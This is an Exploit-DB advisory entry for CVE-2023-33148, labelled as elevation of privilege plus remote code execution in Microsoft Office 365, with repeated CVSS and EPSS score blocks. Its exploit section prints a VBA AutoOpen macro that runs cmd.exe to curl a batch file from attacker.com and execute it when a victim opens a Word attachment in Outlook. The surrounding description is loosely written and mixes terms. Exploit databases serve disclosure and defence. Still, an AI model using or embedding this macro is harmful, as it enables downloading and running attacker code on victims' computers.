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exploitdbNu11secur1tyEDB-ID:51609
HistoryJul 20, 2023 - 12:00 a.m.

Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.

2023-07-2000:00:00
nu11secur1ty
www.exploit-db.com
182
microsoft office 365
elevation of privilege
rce
outlook
word file
shell command
exploit

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.1 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

34.9%

## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE.
## Author: nu11secur1ty
## Date: 07.18.2023
## Vendor: https://www.microsoft.com/
## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office
## Reference: https://portswigger.net/web-security/access-control
## CVE-2023-33148


## Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to
Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious
WORD file in the Outlook app which is a part of Microsoft Office 365
and easily can trick the victim to click on it - opening it and
executing a very dangerous shell command, in the background of the
local PC. This execution is without downloading this malicious file,
and this is a potential problem and a very dangerous case! This can be
the end of the victim's PC, it depends on the scenario.

## Staus: HIGH Vulnerability

[+]Exploit:

- Exploit Server:

```vb
Sub AutoOpen()
  Call Shell("cmd.exe /S /c" & "curl -s
https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat
&& .\salaries.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html)

## Time spend:
00:35:00

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.1 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

34.9%